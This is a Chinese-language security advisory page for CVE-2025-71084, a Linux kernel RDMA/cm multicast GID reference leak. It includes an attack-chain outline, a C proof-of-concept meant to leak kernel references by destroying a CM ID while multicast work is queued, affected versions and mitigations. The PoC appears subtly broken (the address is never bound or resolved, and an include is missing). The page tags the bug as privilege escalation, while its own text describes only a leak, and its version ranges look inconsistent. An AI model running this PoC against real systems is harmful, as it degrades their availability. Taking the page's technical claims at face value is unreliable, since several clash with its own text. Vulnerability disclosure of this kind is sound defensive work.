IPBUF安全漏洞报告
English
CVE-2025-71084 CVSS 5.5 中危

CVE-2025-71084: Linux内核RDMA/cm多播GID表引用泄漏漏洞

披露日期: 2026-01-13
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2025-71084
漏洞类型
引用泄漏
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel RDMA/cm

相关标签

Linux内核RDMA引用泄漏多播GID表本地提权资源耗尽CVE-2025-71084

漏洞概述

CVE-2025-71084是Linux内核中RDMA(远程直接内存访问)通信管理器(cm)模块的一个引用泄漏漏洞。该漏洞发生在多播GID(全局标识符)表管理过程中,当CM ID在多播创建事件仍在队列中时被销毁,cancel_work_sync()会阻止工作执行,导致ah_attr(地址句柄属性)无法被正确销毁,从而泄漏引用计数。此漏洞可导致系统资源泄漏,触发内核警告,影响系统稳定性。CVSS 3.1评分5.5,属于中等严重程度,需要低权限本地攻击者利用,无用户交互要求,对可用性造成高影响。

技术细节

漏洞根源在于Linux内核的RDMA/cm模块中多播GID表引用计数管理机制存在缺陷。当应用程序创建CM ID并发起多播连接时,系统会分配ah_attr结构并将其与GID表关联。如果此时CM ID被销毁,而相关的多播创建事件仍在工作队列中等待处理,cancel_work_sync()会取消该工作并阻止其执行。这导致ah_attr无法被正确释放,GID表引用计数持续增长,最终触发内核警告:GID entry ref leak for dev syz1 index 2 ref=573。该问题出现在drivers/infiniband/core/cache.c文件的release_gid_table和gid_table_release_one函数中。修复方案是在取消工作后显式销毁ah_attr,由于销毁函数可安全调用多次,因此不会造成额外问题。攻击者可通过本地低权限进程快速创建和销毁CM ID来触发此漏洞。

攻击链分析

STEP 1
1
攻击者获取本地低权限访问,创建RDMA CM ID并配置多播连接
STEP 2
2
触发多播加入操作,将CM事件加入工作队列,此时分配ah_attr并增加GID表引用计数
STEP 3
3
在多播工作执行前立即销毁CM ID,调用cancel_work_sync()取消队列中的工作
STEP 4
4
cancel_work_sync()阻止工作执行,导致ah_attr未被销毁,引用计数泄漏
STEP 5
5
内核触发警告信息:GID entry ref leak,累积泄漏可能导致系统资源耗尽
STEP 6
6
长期累积的引用泄漏可能影响RDMA功能可用性,甚至导致系统不稳定

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#include <stdio.h> #include <rdma/rdma_cma.h> #include <rdma/ib_verbs.h> #include <pthread.h> #include <unistd.h> /* PoC for CVE-2025-71084: RDMA/cm multicast GID table reference leak * This demonstrates triggering the condition where CM ID is destroyed * while multicast creation event is still queued. */ volatile int destroy_now = 0; void* work_thread(void* arg) { struct rdma_cm_id *id = (struct rdma_cm_id*)arg; /* Simulate multicast join operation that queues work */ struct sockaddr_in addr; addr.sin_family = AF_INET; addr.sin_port = htons(12345); addr.sin_addr.s_addr = inet_addr("224.0.0.1"); /* This queues work for multicast GID registration */ rdma_join_multicast(id, (struct sockaddr*)&addr, NULL); /* Signal that work is queued */ while (!destroy_now) { usleep(1000); } return NULL; } int main() { struct rdma_event_channel *ec = NULL; struct rdma_cm_id *id = NULL; pthread_t tid; /* Initialize RDMA resources */ ec = rdma_create_event_channel(); if (!ec) { fprintf(stderr, "Failed to create event channel\n"); return 1; } if (rdma_create_id(ec, &id, NULL, RDMA_PS_TCP)) { fprintf(stderr, "Failed to create CM ID\n"); return 1; } /* Start thread that queues multicast work */ pthread_create(&tid, NULL, work_thread, id); /* Give time for work to be queued */ usleep(50000); /* Destroy CM ID while multicast work is queued * This triggers cancel_work_sync() preventing ah_attr cleanup * and causes reference leak */ destroy_now = 1; pthread_join(tid, NULL); rdma_destroy_id(id); rdma_destroy_event_channel(ec); printf("Check dmesg for: GID entry ref leak warning\n"); return 0; }

影响范围

Linux Kernel < 5.15 (stable branch commits: 3ba6d01c4b3c584264dc733c6a2ecc5bbc8e0bb5)
Linux Kernel < 5.10 (stable branch commit: 57f3cb6c84159d12ba343574df2115fb18dd83ca)
Linux Kernel < 5.4 (stable branch commit: 5cb34bb5fd726491b809efbeb5cfd63ae5bf9cf3)
Linux Kernel < 4.19 (stable branch commit: ab668a58c4a2ccb6d54add7a76f2f955d15d0196)
Linux Kernel < 4.14 (stable branch commit: abf38398724ecc888f62c678d288da40d11878af)

防御指南

临时缓解措施
在官方补丁发布前,可通过以下措施缓解:1) 监控系统日志中的内核警告信息;2) 限制普通用户对InfiniBand/RDMA设备的访问;3) 如业务不需要RDMA多播功能,可考虑禁用相关模块;4) 关注Linux内核安全公告,及时应用稳定版本更新。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表